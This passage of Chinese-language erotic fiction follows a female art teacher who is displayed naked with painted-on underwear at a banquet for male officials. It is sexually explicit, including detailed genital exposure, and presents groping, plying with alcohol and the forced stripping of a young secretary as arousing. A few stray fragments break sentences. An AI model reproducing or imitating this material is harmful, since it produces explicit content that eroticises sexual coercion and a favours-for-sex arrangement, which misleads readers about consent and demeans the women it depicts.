「无限感激.......」他凑到我耳边轻轻地说:「这辈子不算白活.....」

我一会儿重心在左腿,一会儿有移到右边,用变化屁股和腰的线条挑逗前后
左右的男人,愈加自得其乐。

「各位看清楚了吗?林老师已经告诉大家她身上其实什麼也没穿!」董啟设
高声宣佈。

四个人又是吃惊的看我:「以為您逗我们呢,真的吗,林老师?」。

下体一热,我红著脸微微点点头,他们的大惊失色真让我过癮!。

「什麼也没穿?不对呀,这不是还穿著一星点儿吗。」谢主任走到我跟前弯
腰打量下面,气喘吁吁的问。另三人也藉机凑过来,彭主任的头碰到我大腿不知
是否有意,我没躲闪,小腹阵阵发热。

董啟设和我同时笑起来。

「老谢,那不是布,是我给林老师画上去的彩绘。」董啟设心满意足。

「啊,真的?可怎麼看都是块布哇。」

「说你傻吧,有眼无珠啊,哎,可不许动手哇。」我撩逗他们。

谢主任带起花镜,看著我腿间:「这分明是块小三角的布嘛。」

「不信你摸摸看嘛?」董啟设好坏呀,坏的我腹部痉挛一下。

「有言在先,不许动手!」我喝道。老谢没敢摸。

「这样吧,林老师,谁也不摸您,请您稍分开腿,他们不就知道了吗。」

「知道是彩绘不就得了?」我都囔说著微微分开点儿腿。

「还是不明白啊......」宋黎辉多半是明知故问。

「林老师,您乾脆让他们看个清楚吧,抬一下腿吧。」董啟设忽悠我。

「就你坏!」我红脸都囔著,还是抬起右腿一下,又立即放下。虽然只是短
短一瞬,可四个人几乎同时看见我涂成白色已经勃起的阴蒂和油彩在那儿的边际
。也是这暴露的一瞬,阴部像被电击,好舒服刺激!

「老董,行啊,画的这麼好!简直比真的还真!」林大可讚叹道:「这是我
见过最棒的彩绘!」

「真是异想天开的创意,毕竟你们是搞艺术的,高,实在是高!.....」

「我们被你俩忽悠了,忽悠的好厉害呀!」他们口说不满,其实如发现新大
陆,高兴的得意忘形。

眾人把我也算作製造这惊奇悬念的策划者,本打算分辨几句,但转念一想甭
管当时我身不由己,可毕竟同意而且跟著演绎了这一幕幕,被这样说也不冤枉。

「我和林老师让各位亦步亦趋的见识庐山真面目也是创意,给大家一个又一
个惊喜,这个忽悠该多好哇!是不是?」

「棒极了!」眾口齐声讚美。「林老师,您和啟设真是天才!」

「没我的事儿,都是他的坏点子,从没见过这麼坏的人!」我紧忙解释,推
脱创意的角色。

「甭管怎样,林老师能够给我们全部的.......真是万分感激!」

「什麼全部的?瞎说,我还穿著高跟鞋呢。」像当初挑逗金主任那样我来了
一句。

「.......,嗯.......按照您说的理念,穿著高跟鞋也算穿著鞋,行,您没
全裸,不算全裸呀!」

我在他们瓜唧瓜唧拍手和嘻嘻哈哈的哄闹中体味著裸体的快乐。

「可我还有个问题,这以前我认為那白三角布盖住了中间的毛,要是彩绘,
怎能画在毛上?」宋黎辉总是问题多多。

「胡说什麼!」我拍了一下他的秃顶:「这麼弯腰看你累不累呀,去问董先
生吧,都是他弄的。」这帮家伙要问到剃毛的事了,下面更热了。

果然他们立刻明白。

「哇操,你小子给林老师剃毛了?!那你一定没老实吧?」谢局长很受刺激


「哪裡,我们是在搞艺术创作。」董啟设嘻嘻嘻说。

「林老师,我深知董啟设这小子,他一定占您便宜了吧?」

「不知道......」我红著脸:「你问他去......」我接著挑逗他们并撩拨自
己的不断腾升的欲望,气喘不已。

「千万别误会,这次彩绘方案是同林老师一起商定的,创作过程不可避免要
触及到敏感部位,俗话说,锅碗怎能不碰勺子。比如说剃毛时需扯平皮肤,用笔
画在那个凸起涂抹时,不可避免......被忘了,这是艺术......」

「闭嘴吧!」我打断他的描述:「怕人把你当哑巴卖了?」当然我不反感,
恨不得他多说些刺激我。

「林老师,彩绘时您的感觉怎样?」宋黎辉真敢问,多少出乎我的。

「董啟设说了嘛,这是艺术创造.......」我回答的有些支吾。

「这种创造会有什麼感觉呢?」他穷追猛打。

「只能这麼告诉你,任何艺术创作都可能付出艰辛汗水,行了吧?」

「不好意思,谢谢了。不过还想得知有了这片彩绘,您觉得是穿著点儿还是
没穿?」好个宋黎辉,不依不饶哇。

「真拿你这个纪委书记没办法哪,就像审查腐败干部似的,看来我不能不老
实交代呢。」话一出又是一片笑,可我知道他们饶有兴致等待我的回答。

「怎麼说呢.......刚才表演佛洛依德时,觉得自己是穿著的,你们不也是
这样认為吗?可让你们知道这是彩绘后,那感觉不说你们也明白。」

「我们太有眼福啦!咱们举杯,感谢林老师和啟设两位艺术家的精美杰作!
更感谢林老师的开怀坦荡无私无畏的展现!」 林大可激情满怀,话中透著刺激


「谢谢,!」我坦然接受他们的祝酒,等於宣告完全裸体同他们共处的接受
,也是告诉他们面对赤身裸体的我无需再有丝毫的忌讳和不好意思。

「祝各位健康快乐!」说罢我大大方方和他们一起碰杯,毋庸置疑他们兴奋
到了极点,高脚杯叮叮噹噹的碰撞,粘稠的酒液溅出,洒在我乳房和大腿上,我
丝毫不介意,仰著头咕咚咕咚灌下,然后和他们一起把杯口朝下,互表豪气。

「我愿时光停滞,让林老师永远和我们在一起。」彭主任酸溜溜的说,引得
大家纷纷点头赞同。

「以前革命同志们常说伟大领袖和我们在一起,怎麼变成林老师啦,我可不
敢当啊。」

「您就是我们的领袖,我们的女皇,我们要搞新时代的个人崇拜。」纪委书
记开发出新理论。

「别这麼说,顶多我算是你们的革命同志。」我边说著让林大可给杯子斟满


「对,是同志,更是战友,对不?」谢副局长又递过倒满的杯子:「亲密战
友,咱们喝个交杯酒吧。」

交杯酒?我一愣,甭说光著身子,就是平常的场合作為女人也几乎没和男人
有过此类举动。

见我犹豫,董啟设过来:「我代表大家同您交杯换盏好吗?」

「............」我不知是否应拒绝,可他已经把杯子加在我胳膊上并贴向
我。我只得上身前探顺势弯臂同他勾在一起,可嘴还是触不到杯口,董啟设抱住
我腰使劲一搂,我精赤的肉身贴在他身上,这一下嘴唇触到杯子。

「慢慢喝......」他轻轻说,我不好再言语,只得小心翼翼吸吮著暗红的香
醇液体,这样喝了四五口,还不到三分之一。

裸体的林雪萍扑进女人怀裡,向身后的人们展现光溜溜的大屁股,该是何等
令男性心醉狂乱的情景!

突然身体有点儿异样感觉,我一怔,却被董啟设更紧的搂住不能动弹。

我屁股上像有蚊虫爬走,很轻很轻,接著上下移动,再接著多了一两点的轻
触,始终很轻微。

我的心激烈跳起,他们,是他们,在摸我的屁股,从腰下到臀峰,有缓缓移
到屁股沟附近,始终轻轻的,皮肤直发痒。

「你喝的没我快.......小心别撒我身上......」我哖哖的同董啟设细语,
佯装不知。我装作不知,可把屁股用力夹紧保护隐私。

多点的轻微摸触总是在两瓣肉丘上游走,爱不释手却小心翼翼,似乎生怕惊
扰了我,我也继续若无其事的与董啟设交杯共饮,慢慢的喝。

我和屁股上的手都不愿意越位犯规,他们多半知道我的默许,没準儿还晓得
我期望被摸,谁也不会挑明,彼此心照不宣,各得其乐。所以我始终闭著眼睛,
用舌头一点点的舔酒,不使杯中酒过早饮乾,结束彼此的美梦。

交杯酒用六七分鐘喝完了。酒杯离开我口唇之际,屁股上的接触点立刻知趣
的消失,给我们双方都留住面子。

「林老师,交杯酒喝的痛快吧?」离开董啟设后彭主任问我。我心说你们摸
我屁股才叫痛快呢,可还是笑吟吟的说:「就是弄的我腰有点儿酸。」

没点破那个,大家都算自然,当然脸都是红红的。

「不能光和啟设是亲密战友哇,我们算什麼呀?」宋黎辉牢骚道。

「他已经代表了你们呀。」我接过林大可递来的纸巾擦擦嘴。

「那可不行,寧可落一圈,不可落一边嘛......」他们怂恿著又倒上酒。

「不行,这麼喝太累。」我只说累,给他们了餘地。

「那.......跟我们每人少喝点也行啊。」

「这.......」我看著董啟设。

「少喝点儿,表示友谊嘛。」他劝诱道。

「.......那好吧......和四分之一吧。」

「行行,就四分之一。」彭主任把我的酒倒出一些,还剩有一半儿。

我也不计较了。「先和谁呀?」

「当然是我嘍。」彭主任一把搂住我,生怕别人抢先。

他的手压在我后背和腰之间,虽然很用力,可这个位置可以接受。

交臂触到杯子,他的手徐徐上下移动,幅度不大,似乎在体味我后背皮肤的
光滑。权且将此举认作交际舞是的搂抱吧。

不用说,屁股又被摸了,比前次稍重些,由於彭主任大手使劲儿摩擦后背,
也能够自欺欺人的接受后面的手。我们都有些适应,都有些放胆了,当然重要的
还是我佯装不知,他们把握分寸。

轮到林大可,他的手轻放在我臀腰交际的隆起部分,一动不动。我想他是特
别喜欢我的细腰丰臀,现在得以触到,一定快活的要死。

其他君子当然不会放过我的屁股,接著享乐,还算得体。

以外的是宋黎辉有些却场,只轻轻按著我后背。没準他会想到这样的行為会
不会被双规。

裸体和谢副局长贴在一起时,我有些醉了,目光发散,身体歪斜,这正好让
他把我抱得紧紧的,而且僵硬的手就压在屁股蛋儿上。

我已经不在意,也有些麻木了,放这儿就放吧,早被你们摸个遍了,轻重不
就那麼回事儿了......

刚酌上一口,他便在屁股上使劲抓捏起来,弄的我有点儿疼,没等反应过来
,我有所预感但还是以外的事情出现了。

不知几隻手在屁股上肆无忌惮的抓弄起来。我唯一的表示是用劲儿夹紧屁股
,告诉他们并不反抗但绝对不要探进沟裡。

心有灵犀吧,他们放弃深入敌后,只在肉感的山峰上尽情玩耍嘻戏......

「看来各位在林老师的臀部尽兴了吧?」董啟设这一问闹我个大红脸。

他们羞羞答答的承认。

「美是可以用数字化体现的。」见眾人疑惑董啟设接著说:「臀围和腰围要
有适当的比例。」他不知从哪儿拿来个裁缝尺,兜上我屁股,没等我作出反应塔
继续说:「臀围三十五厘米。」

「好丰满哪,光滑而有弹性。」哪个家伙情不自禁说出了方纔的体会。

「再看腰围。」皮尺提到腰:「二十四厘米的腰围。」

「线;」他们无所顾忌的感叹,都被摸了,还计较他们
说什麼。

「大家算一下臀围和腰围的比例。」

「大约零点六九。」彭主任很快算出,不愧是搞建设的。

「这可是最理想的比例,黄金比例呀,可以说你们很难得看到这样精美的身
体。」

所有人忙不迭的点头讚叹。

「又圆又高挺的屁股,人见人爱呀!」

「白嫩光洁,线;」

「园溜溜白嫩嫩的,还那麼结实,迷死人了......」

「可是应验了老书上写的『粉弯雪股,妙态毕生』啦......」

羞涩搭载著愉悦,我陶醉在讚美和自豪自恋中,可嘴裡还是说:「越说越不
像话啦,哪还有什麼斯文呢。」

「啊,我还有问题。」彭主任看看董啟设再看看我:「既然剃毛,為何不都
剃光呢?」

我无法回答。

「对女性的人体美,我有些自己的见解。美丽女人的肉体线条圆润洁白如玉
,但性器官的色泽和形状与之不甚和谐,甚至有些衝突,如果共同展现,会显得
白璧微瑕,因此阴毛需保留。」

「可.......浓密的黑阴毛同雪白肉体能和谐吗?」林大可问。

「问得好。」董啟设看我一眼接著说:「大家看看再想想,会发现不仅和谐
,而且妙不可言。阴毛遮住性器官,宛如绽开的墨菊,镶在象牙般白皙的地方,
多艷丽,而且辉映的肉体更為白嫩。」

「嗯......」他们看著我的腿间思索:「确实,确实如此.......」

「还有.......」董啟设再看我一下:「阴毛还体现出女人的成熟,并带点
儿自然的野性,富有一种恰如其分的风情。」

我真受不了他拿我阴毛作文章,可这番理论却有道理,是啊,那次被铁麟他
们剃光后在家裡看自己,总觉得有所失却,现在才明白。

「换个话题好不好?」我满脸羞红转过身:「别瞎看啦.......」

他们会意笑著直起身。

「欣赏人体美,除了要用一时的眼光看,还要懂得肉体之美在何处。」董啟
设扬手让他们注意听:「林老师的人体美可谓至极,我要说今天诸位看到的人体
有三种美:肉感美,骨感美和性感美。」

眾人望著他,很想听他的解析,也為我消除些窘迫。

「肉感美,诸位差不多都看到了吧,胸部,臀部,大腿小腿,腰肢,肩头,
无论其丰腴线条和质感都很吸引人。」

至少8只眼睛继续扫视我前后上下,感慨的点头称是。

董啟设简直把我当成人体模特,一一介绍肉体每一部分,让我特别害羞,也
挺愉悦。

「可是你们不一定注意到骨感美。请看林老师的脖子下面,对,就是这儿,
锁骨,看这稍微硬朗的横向线条和柔韧的凹陷,有种青春的力量,如刚出浴的玫
瑰,亮出两根倔强的花刺。这锁骨好比女人的魂,如两片可以飞翔的翅膀,舒展
自然玲瓏,使女人有更多曲径通幽的诱人情趣,令女人之美从身体尚未开始,锁
定整体的气质。当穿著衣服露出锁骨,你可以感到锁骨下方高高隆起的乳房...
...」

我笑著说:「赶紧让我穿上衣看这儿吧。」

听呆看呆的眾人齐声说:「不忙,不忙,就这样看挺好!」

「以前没特别留意呀,听啟设一讲,还真是那样,线;」

「怪不得女人穿开领服吸引眼球,以前觉得是微露的乳沟,其实锁骨更為迷
人,只是我们孤陋寡闻,没意识到骨感美.......」

「骨感美的第二处是肩胛。」董啟设扳著我肩头:「请您转身。」

我转过去,又把背面给了他们,虽在正面露出了两点甚至三点,背面不算露
点,可总多点儿不自在,一是他们的眼光表情可以肆无忌惮,另外是万一有非礼
举动,无法及时躲闪防范。

「有人说『女人的背部是性感之丘』。林老师这般光洁、白皙的背影能令人
生出许多遐想和美妙的感觉。有时候,艷光四射的脸庞或许都勾不起欲望,而一
个背影却会令人為之心动不已。诸位说是不是?」董啟设很自信:「肩胛骨的周
围,共有34块肌肉。此处要是僵硬的话,背会蜷曲,并给人留下生硬的印象。如
果肩胛骨这样的放鬆并在正确的位置,那麼它会就自然而然地流露出原本优美的
曲线,而且仅仅是这样,就能让背部形象得到很大的改变。」

董啟设触著我后背侃侃而谈,引得一片讚许声。

「大家再低头看林老师的脚踝,玲瓏秀气,肉感的双腿要不是延到这裡忽的
收紧,就没有你们看到的优美线条,再穿上高跟鞋,美得没法说了。」

我挺自豪,懂得人体美的董啟设详细解说了我的身体,让他们看得如醉如痴
,我自然身心热烘烘的,被窥视的快感更强烈。

我愿意他们看,仔仔细细上上下下的看,让他们在视觉和放肆的遐想中激起
欲望,变得肆无忌惮,言语更粗鲁些,只是......只是别动手......

「我喜欢书法。」宋黎辉痴痴地说:「要是能在林老师身上写几个字就太好
了,您线;对不起,玩笑,玩笑哇......」

「要是林老师同意,老宋,你打算写在哪儿?」谢局长不怀好意的问。

「还用说,他一定写在屁股上。」彭主任嬉笑著。

「不,我觉得是在胸部吧......」林大可含情脉脉的看著我乳房。

「都不对,看到他想写到大腿上。」董啟设说。

「為什麼?」谢局长兴冲冲的问。

「对呀,在腿内侧,不就可以曲径探幽了吗?」彭主任恍然,说罢带头大笑


「一群大坏蛋,痴人说梦.......」我都囔著,并不生气,这玩笑提及肉体
部位很刺激我。

「能同林老师合个影吗,最珍贵的纪念。」谢局长嘻嘻的问。

「穿上衣服后嘛,可以考虑......」我看著他们扭扭身体,似在示意现在还
是赤条条的。

「天下绝大多数女人穿衣服比裸体好些,可您裸体的时候最美......」

「瞎说,谁裸体啦?我这是佛洛依德......」没说完自己先笑了。这话曾对
金主任说过,当时我举著仅穿的高跟鞋,全身一丝不掛。

「对,说得对,没裸体,那还不和我们合影?」

「要合影的话,你们脱不脱呢?」我挑衅道。

「他们可不能脱,要不一群光猪,难看死了!」董啟设打諢说,逗得我笑的
弯下腰。

「是啊,我们穿著还有点儿人样,勉勉强强可以与您合影。」

「非要拍照可以,把这合影先送你家夫人,再送单位领导行吗?」我反唇相
讥。

「不敢不敢,老婆会开除我,老宋会双规我。」引得一阵大笑。

我跟著开心的笑,一丝不掛,光?露乳裹在一群衣冠楚楚色狼中,乐此不疲


其实他们用长时间近在咫尺的详细查看已经把我的肉体深深刻录在视网膜并
储存在大脑皮层中,「裸体林雪萍」这个文件夹将长久存在难以删除,今后每当
看见我,这文件就会自动调出与我的实际形象置换。

在他们的眼裡,同一座城市的,在艺院工作的女老师林雪萍每天都这样光屁
股上班,其他同事都衣冠楚楚,林雪萍却要像个怪诞的天体主义者,终日赤身裸
体出现在学校和宿舍区,清早在艺院大门口颤著两隻乳房向传达室老曹头问好,
在楼道裡扭著大屁股向大家点头微笑打招呼,光溜溜坐到办公桌前埋头办公,一
丝不掛去咖啡室站著喝咖啡展现浓密的黑色阴毛,去饭厅排队打饭用乳房屁股蹭
著同队列的前后左右人们,在教室讲课无需计较穿著合适与否,一水儿『皇后的
新衣』凉给学生们,进练功房不用换装光?翩翩起舞,进会议室同领导和访客们
开会谈话,林雪萍都光著白的刺眼的屁股。同事们在她背后交头接耳议论的不再
是她的髮型,不再是她带了什麼耳环项链,不再是她衣裙的顏色款式,甚至不再
是她的身段、她的胖瘦比例、她皮肤的细腻质地,而是直接评论她的乳房和屁股
,议论她臀部是否浑圆,议论她乳房是否丰满,议论她阴毛的浓密,甚至议论她
奶头、阴唇乃至肛门的色泽和形状和那裡淌出的粘液。

在地铁,在影剧院,在政府大厦,在熙熙攘攘的闹市见到这位艺院女教师,
她也都是一丝不掛,最多穿高跟鞋,他们一定希望穿它,这样可以在光天化日下
看见更為挺拔的双乳和高耸的丰臀........

我想著,想著,体内的热流震盪著潜藏的性欲和衝动,羞耻烟消云散.....
.





6.小王秘书

「站了这麼长时间,各位怕是有点儿累了?小坐一下吧?」

董啟设让老四把几张椅子摆在餐桌端头。

「不累,一点儿不累......」他们四个人说著还是坐下,老四端上茶。

我坐到另一端的椅子上,真的有些累,毕竟是在窘迫羞涩的氛围下表演,站
立聊天,插科打諢,期间身体总有些较劲儿。

坐下喝口茶,长舒口气,望著另一端衣冠楚楚的男人们,对自己的光溜溜感
到热辣辣的羞涩和奇怪的怯意。

董啟设走到我身旁:「林老师,辛苦您了......」

「心苦命也苦哇........瞧你把我弄的......」

「今晚我会和他们谈您朋友的事,就凭您今天这份诚心和仗义,我一定能让
您满意的解决。」

「瞧我这般模样,你和他们可算满意啦.......」我不无懊恼的说。

「我还算个讲信用的人吧?或者说是有信用的『小人』吧?」

「不知道,不过我实在接受不了你的暴力行為。」

「您指的是林清玄吧?」董啟设凑到跟前:「事情是这样的.......」

「董啟设,如果没有你对林清玄的暴力,或许我对你还存些许好印象,可你
太.......」

董啟设哈哈大笑:「我来解释好吗?」

没等我说话,他向老四发话道:「叫王秘书来吧」。

「干什麼,你......」怎能让他的秘书看到我,这混蛋!来不及了.....

门慢慢开啟,我紧忙背过身,害臊的不行。

眾人发出一片惊呼,不是衝著我的。

轻盈的脚步声停在身后。

「林老师......」一个女性娇滴滴的声音让我心跳不已。

「林老师......」娇滴滴的声音再响起,是那个林清玄的声音。

我鼓足勇气扭过头,不禁呆住了!

是林清玄!胸前飘著透明纱条,遮不住两隻鸭梨型的乳房,光著两条白腿,
穿著和我一样的高的黑色高跟鞋,笑吟吟的看著我,双手捧著几件包著塑料膜的
衣服。

「这是您的衣服,乾洗过了,还给您。谢谢林老师。」说罢鞠躬。

「林清玄,你.......,你是.......你不是......」我蒙住了。到底是怎麼
回事!?

「我是董总的秘书小王.......」

「.........??」

「先放一边儿,林老师一会儿再穿。」老四接过王秘书的衣物,我一下看见
她遮掩小腹的三角布,是佛洛依德三角,我在发佈会上穿的,现在在她的身上,
而我只是彩绘,又一次感觉这个女人剥夺了我的「衣服」。

「林老师和各位领导。」董啟设看著我说:「大家对王秘书很熟悉了,今天
这番打扮令领导们有点意外吧。小王穿的是货真价实原装的佛洛依德三角,林老
师在发佈会穿的。这样我们可以更清楚林老师当时对大庭广眾演示的样子。同时
.......林老师不会介意吧......让你们熟悉的王秘书也展现一下她的风采。」

董啟设没有侵犯林清玄令我安心,可这个在身边年轻的肉体秘书令我尷尬不
已。一个裸体女人可能会减轻男人对我肉体的欲望载荷,可是小王吸引了他们的
眼光让我心裡有些彆扭.......

小王扭著肥白的屁股给各位领导斟酒倒茶送纸巾,毫不介意屁股乳房大腿上
身来的手。看的我挺不是滋味儿。

「他们需要适当释放,可绝不能对你......」董啟设耳语道:「别往坏处想
小王,这姑娘挺纯洁的......」

「那她為何......」

「不瞒你说,他只跟过我,為了让这些领导高兴满意,我不得不这样,多半
為了我自己,也有為你的成分......」

「為我?.......」

「是的。虽然他们算是正人君子,可到了这个份儿上,特别是这样性感的你
刺激了他们,也满足了部分,可男人到了这地步是难以抑制的。我必须把握,既
不能让他们太失望,也得保护你。」

「為什麼你要保护我?」

「说不清吧,应该是喜欢吧。我只能容忍他们看你,可不能.......两难哪
,请你理解......」

那四个领导在轮流给小王灌酒,她的纱巾早已不翼而飞。摸在她白嫩肉体上
的手愈加放肆。我开始明白,如果没有她,那些贪婪的手就会在我身上。

我能对他们居於主导地位的想法可能是愚蠢的。细想起来也不能怪他们,从
这个意义上说。男人都一样:金主任、张铁麟、李永利、胡汉清和他们都有对异
性的兽性欲望,这是人性。

「你别离开,也先别穿衣服,听我的......」董啟设说完向他们走去。

「各位领导,大家接著喝呀。」

几个醉醺醺的男人看著摸著王秘书,议论纷纷。声音虽小却字字传入我耳中


「就这点儿布丝儿林老师也敢衝上T台,简直不可思议,勇敢哪,实在是勇
敢.......」

「台下观眾看去,和今天的彩绘该没什麼两样嘛?.....整个儿一个裸....
.」

「还是不同嘛,彩绘毕竟是什麼也没穿,地地道道的一丝不掛呀......」

「可不,真是一星点儿布丝儿都没有,好一个光啊......」

「对,还是彩绘好,画归画,毕竟是裸的,林老师不折不扣的全裸呀,线;」

「而且离我们这麼近,什麼细节都看得见,一伸手就能......哈哈......」


「细节要是能再看得多些就好了.......」

「这就不容易了,咱们没理由哇,今天是佛洛依德表演嘛.......」

「佛洛依德,理念也不是静止不变的,总要发展嘛.......」

「痴心妄想吧,你.......」

「哎,有些不公平啊,林老师一丝不掛,可小王还穿著佛洛依德,是不是应
该......」

「对呀,来.......」他们招呼小王,对她说些什麼。

小王捂著脸一个劲儿扭头。

谢副局长学著沙家滨的戏文尖声叫道:「小王,你就吃了吧,小王,你就脱
了吧!......」

眾人围住羞涩的姑娘动手动脚。

小王挣脱著跑出包围,已经变得和我一样毫无遮拦了。

「小王,去陪陪林老师。」董啟设将她挡在身后。

小王羞答答走到我身边。我对她竟没有女人的嫉妒,颇有同病相怜之感:一
样的赤身裸体,一样的被色狼包围。

「羞死我了.......」他低声说。

「坚持一会儿吧,快结束了......」我这样安慰她很言不由衷,我乐於另一
个裸体女人陪著我,也不知道这派对何时结束,这些男人们正在兴头,不会允许
我们穿衣和离开的。

可能是由於我裸体在先,小王很快平静下来。

「林老师,您线;」她看这我高挺的双乳说道。

「.......啊.......你也很漂亮的.......,能告诉我你為什麼要这样....
..我这样实在是迫不得已,為了保护朋友......你呢......」

「我知道林老师是為了朋友,董总告诉了我今天的安排......其实我也是為
了.......為了董总......」

「為了他?.......」

「董总待我有恩,具体我就不说了......其实董总不是坏人.......您别那
麼想,虽然他给您彩绘,安排表演。他是想把问题彻底解决不留隐患......董总
让我来是怕你一个人太......」

「你什麼都知道?」我害羞的问。

「.......知道.....还......还看见了.......」

可能她都目睹了剃毛的过程,脸红了。可转念又想,我都一丝不掛的坐在这
儿了,还有什麼可羞的?何况她还光身子在这儿陪我呢。

看著她身上被抓摸的痕跡, 我有几分感动,她在分担我裸体的窘境。董啟
设作这安排也算够意思。

除了那次在艺院拍人体照和几个女老师和学生同裸,和一个素不相识的女子
一起裸体并坐还是第一次,这感觉总有些异样,有点儿彆扭,被她看著的难為情
明显超过方才男人们围拢四周观看自己赤条条肉体的感触。这可能是所谓「同性
相斥异性相吸」的潜意识所致吧。





7.书法

「老四。」我招呼他:「在拿些酒来好吗?」

「茅台行吗?」老四像个大男孩儿,有些羞涩的看著裸体的我。

「要两三瓶。」

老四点头离去。

「小王,待会儿咱俩给他们敬酒,把他们灌醉......」

小王点点头:「林姐,你还行吗?我没酒量啊,方才让他们给灌得快不行了
。」

「没关系,到时候你听我的。」

老四拿来两瓶茅台。

「来小王,跟我过去。」

我们俩个裸体女人握著酒瓶走过去,他们醉醺醺坐在椅子上滴滴咕咕的说著
什麼向他们,董啟设弯腰笑脸陪著。

虽说没少饱餐我们的秀色,小腹镶著黑色菊花的两个白条条肉体一起过来,
还是给他们不小的衝击。

「给几位领导敬酒。」小王亲切的说。

「和谁喝呀?」宋黎辉坐在椅上醉醺醺的问。

「先跟我喝。」我双手举瓶,用挺出的乳房和阴部引诱他。

「老这麼喝没意思,来点儿新鲜的好吗?」

「什麼新鲜的?」我问。

「海,老宋一直在想他那个书法。」林大可说。

「写字你就喝吗?」

「那当然。」宋黎辉一下跳起来:「林老师此话当真。」

其他人也如同望到黎明的曙光般惊愕的望著我。

「并非戏言......写字不是不可以.......」我拉长语调,他们围过来。「
但是有两个条件。」

「条件?好说,都好说!」

「第一,你们一起喝,得喝够量。」

「没的说,喝死亦无妨。」

「别说死不死的,多难听!领导们还得為中国特色社会主义作贡献呢。第二
,我得考察你书法是否合格,会写在纸上并不代表能在皮肤上写好。」

「林老师怎麼个考察法儿?」

「简单而令你愿意。你先在王秘书身上写四个字,如果合格,可以写我身上
......」

「这主意太好了,没问题,保证让你满意。敝人是中国书法家协会的会员,
啟功都说我用笔苍劲。老四,笔墨伺候。」

「且慢,在王秘书身上也不能白写,你们四个每人先乾两杯。」

「同意林姐的意见,几位领导喝过就可以写。」小王挺配合。

「行,没问题。」

「那好。老四,请拿八个,不十六个小杯来。」

老四会意微笑著。很快把四四一十六和酒杯排成矩阵。

「先倒上八杯。」我吩咐著。

65度的茅台散发浓郁的醇香,就连喝了半醉的我嗅到也挺想品嚐。

「我们仨就免了吧,是老宋写字呀。」谢局长推辞。他也喝得差不多了。

「你们是观眾啊,要是不喝,老宋也不要写了。」

宋黎辉急了:「干啥呀,谁不喝我双规了他!」

眾人齐笑,同意了。

看著他们呲牙裂嘴的连灌两杯,我的心突突跳起。一是计划成功在即,另外
的是我将进一步付出......

按照纪委书记要求,小王仰卧在餐桌上,宋黎辉举毫,沾满墨汁,深运一口
气,落笔在年轻姑娘平滑白嫩的腹部。

他写的不快,专心致志,似乎在用全身各处的力量。

一分鐘后他把笔「噹啷」的撇在桌上,已是汗流峡背。

「请林老师考核!」

走过去,看见白肚皮上四个苍劲挺拔的大字:「沉鱼落雁」。

「好字,确是好字。」我拍手称快。

「那好啦,我可以给林老师写啦。」

「可以,请诸位先每人喝掉四杯。」

线个杯子一一倒满。

「什麼,还喝,还是四杯?」连老宋都為难了。

「干嘛不喝,写王秘书你们喝,写我当然得喝,而且加倍。」

「那不行,要喝也只能两杯。」那三人也都都噥噥的不愿意。一时僵在那裡


「这样吧。」董啟设过来:「我建议,每人四杯要喝,可林老师得答应写字
的部位由他们选择。」

「嗯.......这个主意不错哇。」林大可先表态。

「要是林老师同意,我们就喝。」

「林老师,您看......」董啟设问我。

其实我早有此念,这样才能灌醉他们。不过还得矜持一番。

「那不行,只能写在肚皮上.......」

招来眾人齐声七嘴八舌的抗议谴责。

「那......那好吧.......我只得恭敬不如从命啦。喝吧,喝完我听从你们
的,在腿上写也行吧.......」

「可我也得有个要求。」宋黎辉看著我:「我的书法参加过多次全国大展,
写完后请给我办个书法展,要求不高,十分鐘即可。」

我脑中浮现出张铁麟他们将最后的佛洛依德黑布条脱下,我尽可能大的敞开
双腿的情景,张铁麟还说那是伟大的看点,万眾欢呼的高潮。

现在好像我又在走向一个高潮,无法预想将会怎样,虽在眾目睽睽之中,羞
耻已远离身心......

「.......行吧,就算是彰显宋主任民族魅宝吧.......哪四个字?最好是反
腐倡廉,或者八荣八耻,让大家受到一次端正党风的教育。」

我们都笑起来。老宋说:「写了您就知道啦......」

看著他们一杯杯把昂贵的茅台像喝水一样倒进喉咙,我不由得发醉。

已经不介意他们晃晃悠悠簇拥著我,争先恐后掐腰摸屁股,藉机大吃我的豆
腐我有点儿晕眩,不是醉,而是大脑麻酥酥的。

我被抬坐到桌边自觉地闭目仰卧。包括我在内所有的人都屏著气息,大厅寂
静无声,宛如举行举行庄严肃穆的宗教仪式。

屁股被轻拍一下,我会意的抬起,一个软垫塞在下面,是怕硬木的桌面硌疼
我还是想更多的让我展现,都是吧......

紧并的两腿被抬起到上身的高度,四五隻手抓住我脚踝和小腿开始向两侧拉
。脑中「嗡」的一声,新的一幕开啟了!.........

腿刚被分开下腹便感到一丝凉意,在分开些,立刻羞耻的扭过头,更赤裸的
部分暴露出来了,他们看到了,随著分腿的继续,私处的密封液渐渐张开。我咬
著牙,承受著深层赤裸在狼群中的羞耻。朦朦中升起一丝奇妙的感觉,竟然和同
金主任,张铁麟他们相处到那一刻相同。

腿更大的分开,已经无所谓了。几乎张开到一百八十度后,又被向上举起。

羞处觉到他们的鼻息和呼吸,他们在看,在观赏我勃起并突突跳动的阴蒂,
那上面还有董啟设涂抹的白色油彩;植满黑毛的浅褐色大小阴唇,阴道裡粉红的
蜜肉;白色的爱液一定微微淌出了,还有下面那朵茶色的雏菊......

老四和王秘书也在看吧,一定的.......被女性的小王观看令我耻辱。老四
要看就使劲儿看吧,不但不在乎,还有一丝愿意,是对他始终恭敬礼貌的回敬吧
......

还是没有动静,只听得粗重的气喘。我知道他们终於等来了这一幕,观赏一
个美丽年轻女教师最最隐秘和淫靡的部位是他们朝思暮想梦寐以求的。而且近在
咫尺的距离让他们那个清晰无比的看见每一丝阴毛,每一纹皱褶,阴蒂每一次跳
动,蜜液每一次的涌流,密肉每一次的痉挛颤抖.....

「老宋,还等什麼......」我细声催促。

「林老师,那......我就写了.......」

「.........」我轻吐出了一口气.......

紧贴毛际的大腿根被凉凉的东西触及,不禁一哆嗦,扳著两腿的手立刻握紧
,像是怕我逃掉。

宋黎辉的毛笔从右腿跟开始行走。有力的笔触在娇嫩的皮肤上滑动,有点儿
痒,还能忍受。起初还尝试猜想写得什麼字,可那大笔行走如游龙,实在弄不清


笔停了,看来是写完了一个字,听到他的喘息。

「好字,真是好字!」像是林大可在说:「还是左手呢。」

「左手写右,右手写左。」宋黎辉自信满满的说,书写人和看客似乎将我的
肉体看成画纸。不知怎的令我有些失意。

下一个字开始了,在腿跟和膝盖之间,那儿的皮肤不很敏感,使我少许平静
,内腔的热流也大為缓解。

被眾人窥视不在乎了。看就看吧,全都看过后就没什麼新鲜好奇的了唄。再
说我林雪萍已是个「过来人」了......

宋黎辉像是喝了一口水。

